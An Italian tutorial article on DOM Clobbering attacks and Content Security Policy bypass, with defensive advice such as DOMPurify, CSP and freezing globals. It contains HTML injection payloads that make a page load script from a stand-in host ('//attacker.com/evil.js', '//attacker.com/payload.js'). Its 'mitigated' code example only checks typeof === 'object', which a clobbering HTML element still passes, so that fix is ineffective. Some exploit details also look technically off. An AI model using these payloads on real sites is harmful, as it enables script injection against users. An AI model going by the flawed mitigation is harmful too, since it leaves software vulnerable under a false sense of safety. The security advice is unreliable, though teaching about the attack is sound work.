Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

JavaScript e la sicurezza del DOM: attacchi via DOM Clobbering e Bypass CSP

JavaScript e la sicurezza del DOM (Document Object Model): analizziamo gli attacchi via DOM Clobbering e il Bypass CSP
JavaScript e la sicurezza del DOM (Document Object Model): analizziamo gli attacchi via DOM Clobbering e il Bypass CSP
Link copiato negli appunti

Nel panorama della sicurezza web, spesso si parla di XSS e CSRF, ma c'è un altro vettore di attacco subdolo e poco conosciuto: il DOM Clobbering. Questo attacco permette ad un utente malintenzionato di sovrascrivere funzioni o variabili JavaScript globali usando semplici elementi HTML con attributi id o name. Il risultato? Un potenziale bypass delle logiche applicative o persino della Content Security Policy (CSP).

In questo articolo esploreremo nel dettaglio:

  • come funziona il DOM Clobbering;
  • il suo impatto sulla sicurezza del codice JavaScript;
  • come può bypassare CSP;
  • esempi di codice a carattere didattico su come viene sfruttato;
  • le difese migliori e strumenti utili.

Cosa è il DOM Clobbering

Il DOM Clobbering si verifica quando un elemento HTML con id o name corrisponde ad una variabile globale nel codice JavaScript. Il browser sostituisce automaticamente il riferimento JavaScript con quel nodo/soggetto DOM, causando collisioni e comportamenti imprevisti. Ad esempio:

const url = window.globalUrlConfig || { href: '/code.js' };
const scriptElem = document.createElement('script');
scriptElem.src = url.href;
document.body.appendChild(scriptElem);

Un attaccante che riesce a iniettare:

<a id="globalUrlConfig" name="href" href="//attacker.com/evil.js"></a>

può "clobberare" globalUrlConfig, facendo sì che lo script carichi il codice. Inoltre, può sovrascrivere proprietà native come window.location, document.hidden, form.submit, ecc., cambiando il flusso logico dell'applicazione

Bypass della CSP tramite DOM Clobbering

Anche siti protetti da CSP possono essere vulnerabili. Se un attacker clobbera una sorgente per script.src, e la CSP utilizza strict-dynamic o nonce, il codice malevolo può essere iniettato e anche bypassare CSP. L'attaccante sfrutta un "gadget" (nome di proprietà e sink) e un punto di iniezione HTML per instradare il caricamento dello script in modo lecito secondo la policy.

Una libreria come Webpack ha avuto un reale exploit via DOM Clobbering: il modulo AutoPublicPathRuntimeModule è stato compromesso, consentendo XSS su app compilate con versioni vulnerabili (< 5.94).

Esempi di DOM Clobbering: HTML e JavaScript

Per sovrascrivere window.location un attaccante inietta:

<form name="location"><input></form>

Poi in JavaScript:

console.log(window.location);

Ecco invece un esempio di Clobbering nested property:

<form id="userForm" name="userForm">
  <input id="username">
</form>

Con relativo codice JavaScript:

console.log(userForm.username);

Sfruttando nomi ripetuti, id o name, si possono clobberare anche oggetti profondi come link.add ecc. (HTMLCollection su proprietà multiple).

Difese efficaci contro il DOM Clobbering

Librerie come DOMPurify con opzione SANITIZE_NAMED_PROPS: true isolano namespace, rimuovendo o rinominando attributi id e name potenzialmente pericolosi (sanificazione dell'HTML). In futuro i browser offriranno una Sanitizer API integrata che consentirà di bloccare attributi id / name in modo automatico.

Una CSP ben configurata (script-src rigido, whitelisting, nonce, strict-dynamic) limita la possibilità di caricamento di script esterni via sink clincher. Ma attenzione: CSP da sola non impedisce l'esecuzione di codice presente già nella pagina tramite clobbering.

È possibile usare Object.defineProperty o Object.freeze() per bloccare proprietà sensibili su window o document prima di una potenziale collisione. Ad esempio:

<script>
Object.defineProperty(window, 'globalConfig', {
  value: {}, writable: false, configurable: false
});
</script>

Esistono poi dei pattern per una maggiore sicurezza:

  • Evita di dichiarare variabili globali con lo stesso nome degli attributi HTML.
  • Usa scope locali, moduli, const let
  • Non usare var window.some = window.some || {}
  • Usa nomi unici, prefissi, evitando collisioni accidentali.

Un esempio pratico: codice JavaScript sicuro vs. codice vulnerabile

Versione vulnerabile:

<script>
const defaultConfig = window.defaultConfig || {};
const script = document.createElement('script');
script.src = defaultConfig.url;
document.body.appendChild(script);
</script>

Ecco come può essere sfruttato:

<a id="defaultConfig" name="url" href="//attacker.com/payload.js"></a>

Quest'ultimo sovrascrive defaultConfig.url e inserisce lo script remoto.

Versione mitigata:

<script>
(function(){
  'use strict';
  const config = (typeof window.defaultConfig === 'object') ? window.defaultConfig : {};
  const script = document.createElement('script');
  script.src = config.url;
  document.body.appendChild(script);
})();
</script>

In più, sanifichiamo HTML in ingresso con DOMPurify prima di inserirlo nel DOM e applichiamo una CSP restrittiva.

Secondo uno studio del 2023 su circa 5 mila siti web il 9,8% risultava vulnerabile al DOM Clobbering, incluse alcune piattaforme molto note. Problemi analoghi sono emersi su Vite e Webpack: alcune versioni contenevano infatti gadget clobberabili che permettevano XSS su app compilate con quelle versioni.

Conclusione

Il DOM Clobbering rappresenta uno di quei vettori di attacco che spesso passano inosservati. Può però avere conseguenze molto gravi, soprattutto in combinazione con altre vulnerabilità come XSS o configurazioni errate della Content Security Policy. È subdolo perché sfrutta comportamenti "nascosti" o poco documentati dei browser e si insinua dove il codice JavaScript sembra innocuo e ben strutturato.

Alcuni sviluppatori scrivono codice che si affida a variabili globali, all'accesso diretto al DOM e a pattern come window.obj = window.obj || {} pensando che siano sicuri. In contesti dove l'HTML può essere manipolato da terze parti — tramite input utente, integrazioni con CMS o componenti legacy — questi approcci diventano una porta aperta per gli attaccanti più esperti.

Ed è qui che la consapevolezza diventa la prima linea di difesa: sapere che il DOM Clobbering esiste, riconoscere i segnali di rischio e scrivere codice JavaScript tenendo conto di questa minaccia fa la differenza tra un'app "funzionante" e una "veramente sicura".

La difesa non si ferma alla scrittura del codice: strumenti come DOMPurify, CSP avanzate e controlli statici sul codice sono essenziali per rafforzare la sicurezza a livello di sistema. La prevenzione va integrata nel ciclo di sviluppo come parte integrante del design.

In un'epoca in cui le minacce evolvono costantemente, dove anche le librerie più affidabili possono contenere gadget vulnerabili, la sicurezza del DOM e delle dipendenze JavaScript non è più opzionale. È una responsabilità condivisa tra frontend e backend, tra sviluppatori e DevSecOps, tra chi scrive e chi protegge.

Non aspettare che una vulnerabilità venga sfruttata per accorgertene. Adotta pratiche sicure, forma il tuo team, automatizza la scansione del codice e rimani aggiornato. La sicurezza non è solo una misura tecnica, è una vera e propria cultura.

Ti consigliamo anche